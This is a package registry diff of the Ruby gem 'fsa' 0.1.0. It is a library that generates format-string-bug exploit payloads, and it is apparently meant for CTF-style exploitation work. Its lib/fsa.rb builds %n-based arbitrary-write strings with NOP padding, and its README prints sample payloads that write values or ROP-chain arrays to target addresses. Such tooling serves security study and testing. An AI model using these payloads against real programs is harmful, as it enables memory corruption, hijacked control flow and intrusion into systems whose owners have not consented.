fsa 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 9a2e91df49fc153348331c23ae87e999449c404f612f68e2275a72edd208179f
4
+ data.tar.gz: e8970243f8068b68078ec5901fe972a2cd13f09c4eff799b0f20490ff8e74d87
5
+ SHA512:
6
+ metadata.gz: bc431edf36041a285638650bae2650759c24d975228ec1817c916250d5fecaf501026dda67958956c24683b6de63d93ad8a99180997c75c427b2a570c7b5439b
7
+ data.tar.gz: 735b5fe6a69fd26e7c83f98703dbf5e2ff3119dec5ec0ca5781bee213c92aef18111fc177a24bd46111f4319b00d71370bb85c1730f7e27dd9b5f1c7424dff82
data/.gitignore ADDED
@@ -0,0 +1,8 @@
1
+ /.bundle/
2
+ /.yardoc
3
+ /_yardoc/
4
+ /coverage/
5
+ /doc/
6
+ /pkg/
7
+ /spec/reports/
8
+ /tmp/
data/Gemfile ADDED
@@ -0,0 +1,6 @@
1
+ source "https://rubygems.org"
2
+
3
+ git_source(:github) {|repo_name| "https://github.com/#{repo_name}" }
4
+
5
+ # Specify your gem's dependencies in fsa.gemspec
6
+ gemspec
data/Gemfile.lock ADDED
@@ -0,0 +1,20 @@
1
+ PATH
2
+ remote: .
3
+ specs:
4
+ fsa (0.1.0)
5
+
6
+ GEM
7
+ remote: https://rubygems.org/
8
+ specs:
9
+ rake (10.5.0)
10
+
11
+ PLATFORMS
12
+ ruby
13
+
14
+ DEPENDENCIES
15
+ bundler (~> 1.16)
16
+ fsa!
17
+ rake (~> 10.0)
18
+
19
+ BUNDLED WITH
20
+ 1.16.1
data/LICENSE.txt ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2018 Chihiro Hasegawa
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
data/README.md ADDED
@@ -0,0 +1,52 @@
1
+ # fsalib
2
+
3
+ [![Build Status](https://travis-ci.org/owlinux1000/fsalib.svg?branch=master)](https://travis-ci.org/owlinux1000/fsalib)
4
+ [![MIT License](http://img.shields.io/badge/license-MIT-blue.svg?style=flat)](LICENSE)
5
+
6
+ I made this script based on [libformatstr](https://github.com/hellman/libformatstr).
7
+
8
+ ## Usage
9
+
10
+ ### Basic
11
+
12
+ ```ruby
13
+ #coding: ascii-8bit
14
+ require_relative 'fsalib'
15
+
16
+ target_addr = 0x08049580
17
+
18
+ value = 0xdeadbeef
19
+ fmt = FSA.new()
20
+ fmt[target_addr] = value
21
+ p fmt.payload(0) # index of argument
22
+ #=> "%48879c%6$hn%8126c%7$hnA\x80\x95\x04\b\x82\x95\x04\b"
23
+
24
+ # Supported Array
25
+ value = [0xdeadbeef, 0xdeadbeef] # like ropchain
26
+ fmt = FSA.new()
27
+ fmt[target_addr] = value
28
+ p fmt.payload(0)
29
+ #=> "%48879c%9$hn%10$hn%8126c%11$hn%12$hn\x80\x95\x04\b\x84\x95\x04\b\x82\x95\x04\b\x86\x95\x04\b"
30
+
31
+ # Supported String
32
+ value = "H@CK"
33
+ fmt = FSA.new()
34
+ fmt[target] = value
35
+ p fmt.payload(0)
36
+ #=> "%16456c%6$hn%2811c%7$hnA\x80\x95\x04\b\x82\x95\x04\b"
37
+ ```
38
+
39
+ ### Advanced
40
+
41
+ ```ruby
42
+ #coding: ascii-8bit
43
+ require_relative 'fsalib'
44
+
45
+ target_addr = 0x08049580
46
+ value = 0xdead # 2byte(Supported 2byte, 1byte)
47
+ fmt = FSA.new(30) # padding
48
+ fmt[target_addr] = value
49
+ p fmt.payload(0, start_len = 10) # len of already printed data
50
+ #=> "%57005c%3$hnAAL\xA0\x04\b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
51
+
52
+ ```
data/Rakefile ADDED
@@ -0,0 +1,2 @@
1
+ require "bundler/gem_tasks"
2
+ task :default => :spec
data/bin/console ADDED
@@ -0,0 +1,14 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require "bundler/setup"
4
+ require "fsa"
5
+
6
+ # You can add fixtures and/or initialization code here to make experimenting
7
+ # with your gem easier. You can also use a different console, if you like.
8
+
9
+ # (If you use this, don't forget to add pry to your Gemfile!)
10
+ # require "pry"
11
+ # Pry.start
12
+
13
+ require "irb"
14
+ IRB.start(__FILE__)
data/bin/setup ADDED
@@ -0,0 +1,8 @@
1
+ #!/usr/bin/env bash
2
+ set -euo pipefail
3
+ IFS=$'\n\t'
4
+ set -vx
5
+
6
+ bundle install
7
+
8
+ # Do any other automated setup that you need to do here
data/fsa.gemspec ADDED
@@ -0,0 +1,25 @@
1
+
2
+ lib = File.expand_path("../lib", __FILE__)
3
+ $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
4
+ require "fsa/version"
5
+
6
+ Gem::Specification.new do |spec|
7
+ spec.name = "fsa"
8
+ spec.version = Fsa::VERSION
9
+ spec.authors = ["Chihiro Hasegawa"]
10
+ spec.email = ["register.chihiro@gmail.com"]
11
+
12
+ spec.summary = %q{Generating payload of format string bug}
13
+ spec.description = %q{Generating payload of format string bug}
14
+ spec.license = "MIT"
15
+ spec.homepage = "https://github.com/owlinux1000/fsa"
16
+ spec.files = `git ls-files -z`.split("\x0").reject do |f|
17
+ f.match(%r{^(test|spec|features)/})
18
+ end
19
+ spec.bindir = "exe"
20
+ spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
21
+ spec.require_paths = ["lib"]
22
+
23
+ spec.add_development_dependency "bundler", "~> 1.16"
24
+ spec.add_development_dependency "rake", "~> 10.0"
25
+ end
@@ -0,0 +1,3 @@
1
+ module Fsa
2
+ VERSION = "0.1.0"
3
+ end
data/lib/fsa.rb ADDED
@@ -0,0 +1,208 @@
1
+ #coding: ascii-8bit
2
+ require "fsa/version"
3
+
4
+ class FSA
5
+
6
+ def initialize(buffer_size = 0)
7
+ @mem = {}
8
+ @buffer_size = buffer_size
9
+ end
10
+
11
+ def []=(addr, value)
12
+
13
+ if addr.class <= Integer
14
+ addr = addr % 4294967296
15
+ else
16
+ raise TypeError, "Address must be Integer"
17
+ end
18
+
19
+ value_class = value.class
20
+
21
+ case
22
+ when value_class == Array
23
+ value.each do |v|
24
+ addr = self.[]=(addr, v)
25
+ end
26
+ return addr
27
+
28
+ when value_class == String
29
+ value.bytes.each_with_index do |v, i|
30
+ @mem[addr + i] = v
31
+ end
32
+ return addr + value.length
33
+
34
+ else
35
+
36
+ bit_length = value.bit_length
37
+
38
+ case
39
+ when bit_length <= 8
40
+ @mem[addr] = value
41
+ return addr + 1
42
+
43
+ when bit_length <= 16
44
+ 2.times do |i|
45
+ @mem[addr + i] = (value.to_i >> (i * 8)) % 256
46
+ end
47
+ return addr + 2
48
+
49
+ when bit_length <= 32
50
+ 4.times do |i|
51
+ @mem[addr + i] = (value.to_i >> (i * 8)) % 256
52
+ end
53
+ return addr + 4
54
+
55
+ end
56
+ end
57
+ end
58
+
59
+ def [](addr)
60
+ @mem[addr]
61
+ end
62
+
63
+ def payload(arg_index, padding = 0, start_len = 0)
64
+ raise TypeError, "Index must be Integer" unless arg_index.class <= Integer
65
+ raise TypeError, "Padding must be Integer" unless padding.class <= Integer
66
+ raise TypeError, "Start_len must be Integer" unless start_len.class <= Integer
67
+ gen = PayloadGenerator.new(@mem, @buffer_size)
68
+ gen.payload(arg_index, padding, start_len)
69
+ end
70
+
71
+ def self.s(addr, arg_index)
72
+ if addr.class <= Integer
73
+ addr = addr % 4294967296
74
+ else
75
+ raise TypeError, "Address must be Integer"
76
+ end
77
+ if arg_index.class <= Integer
78
+ arg_index = arg_index % 4294967296
79
+ else
80
+ raise TypeError, "Address must be Integer"
81
+ end
82
+ [addr].pack("L") + "%#{arg_index}$s"
83
+ end
84
+ end
85
+
86
+ class PayloadGenerator
87
+
88
+ def initialize(mem, buffer_size)
89
+
90
+ @mem = mem
91
+ @buffer_size = buffer_size
92
+ @tuples = []
93
+ @addrs = mem.keys
94
+
95
+ addr_index = 0
96
+ while addr_index < @addrs.size
97
+
98
+ addr = @addrs[addr_index]
99
+
100
+ dword = 0
101
+ 4.times do |i|
102
+ unless @mem.key?(addr + i)
103
+ dword = -1
104
+ break
105
+ end
106
+ dword |= @mem[addr + i] << (i * 8)
107
+ end
108
+ if 0 <= dword && dword < 65536
109
+ @tuples << [addr, 4, dword]
110
+
111
+ if @addrs[addr_index + 2] == addr + 3
112
+ addr_index += 3
113
+ elsif @addrs[addr_index + 3] == addr + 3
114
+ addr_index += 4
115
+ else
116
+ raise "Unknown error. Missing bytes"
117
+ end
118
+ end
119
+
120
+ word = 0
121
+ 2.times do |i|
122
+ unless @mem.key?(addr + i)
123
+ word = -1
124
+ break
125
+ end
126
+ word |= @mem[addr + i] << (i * 8)
127
+ end
128
+
129
+
130
+ if 0 <= word && word < 65536
131
+ @tuples << [addr, 2, word]
132
+ if @addrs[addr_index] == addr + 1
133
+ addr_index += 1
134
+ elsif @addrs[addr_index + 1] == addr + 1
135
+ addr_index += 2
136
+ else
137
+ raise "Unknown error. Missing bytes"
138
+ end
139
+ next
140
+ else
141
+ if (addr_index > 0) && (@addrs[addr_index - 1] > @addrs[addr_index] - 1)
142
+ addr_index -= 1
143
+ else
144
+ @tuples << [addr, 1, @mem[addr]]
145
+ addr_index += 1
146
+ end
147
+ end
148
+ end
149
+ @tuples.sort_by!(&:last).reverse
150
+ end
151
+
152
+ def payload(arg_index, padding = 0, start_len = 0)
153
+
154
+ prev_len = -1
155
+ prev_pay = ""
156
+ index = arg_index * 10000
157
+ @payload = ""
158
+
159
+ loop do
160
+
161
+ @payload = ""
162
+
163
+ addrs = ""
164
+ printed = start_len
165
+
166
+ @tuples.each do |addr, size, value|
167
+
168
+ print_len = value - printed
169
+
170
+ if print_len > 2
171
+ @payload += "%" + print_len.to_s + "c"
172
+ elsif print_len >= 0
173
+ @payload += "A" * print_len
174
+ else
175
+ puts "Can\'t write a value %08x (too small)." % value
176
+ next
177
+ end
178
+
179
+ modi = {
180
+ 1 => "hh",
181
+ 2 => "h",
182
+ 4 => ""
183
+ }[size]
184
+
185
+ @payload += "%" + index.to_s + "$" + modi + "n"
186
+ addrs += [addr].pack("L")
187
+ printed += print_len
188
+ index += 1
189
+ end
190
+
191
+ @payload += "A" * ((padding - @payload.length) % 4)
192
+
193
+ if @payload.length == prev_len
194
+ @payload += addrs
195
+ break
196
+ end
197
+
198
+ prev_len = @payload.length
199
+ prev_pay = @payload
200
+ index = arg_index + @payload.length / 4
201
+
202
+ end
203
+
204
+ puts "Payload contains NULL bytes." if @payload.include?("\x00")
205
+ @payload.ljust(@buffer_size, "\x90")
206
+ end
207
+ end
208
+
Binary file
metadata ADDED
@@ -0,0 +1,84 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: fsa
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - Chihiro Hasegawa
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2018-05-01 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: bundler
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - "~>"
18
+ - !ruby/object:Gem::Version
19
+ version: '1.16'
20
+ type: :development
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - "~>"
25
+ - !ruby/object:Gem::Version
26
+ version: '1.16'
27
+ - !ruby/object:Gem::Dependency
28
+ name: rake
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: '10.0'
34
+ type: :development
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - "~>"
39
+ - !ruby/object:Gem::Version
40
+ version: '10.0'
41
+ description: Generating payload of format string bug
42
+ email:
43
+ - register.chihiro@gmail.com
44
+ executables: []
45
+ extensions: []
46
+ extra_rdoc_files: []
47
+ files:
48
+ - ".gitignore"
49
+ - Gemfile
50
+ - Gemfile.lock
51
+ - LICENSE.txt
52
+ - README.md
53
+ - Rakefile
54
+ - bin/console
55
+ - bin/setup
56
+ - fsa.gemspec
57
+ - lib/fsa.rb
58
+ - lib/fsa/version.rb
59
+ - vendor/cache/rake-10.5.0.gem
60
+ homepage: https://github.com/owlinux1000/fsa
61
+ licenses:
62
+ - MIT
63
+ metadata: {}
64
+ post_install_message:
65
+ rdoc_options: []
66
+ require_paths:
67
+ - lib
68
+ required_ruby_version: !ruby/object:Gem::Requirement
69
+ requirements:
70
+ - - ">="
71
+ - !ruby/object:Gem::Version
72
+ version: '0'
73
+ required_rubygems_version: !ruby/object:Gem::Requirement
74
+ requirements:
75
+ - - ">="
76
+ - !ruby/object:Gem::Version
77
+ version: '0'
78
+ requirements: []
79
+ rubyforge_project:
80
+ rubygems_version: 2.7.3
81
+ signing_key:
82
+ specification_version: 4
83
+ summary: Generating payload of format string bug
84
+ test_files: []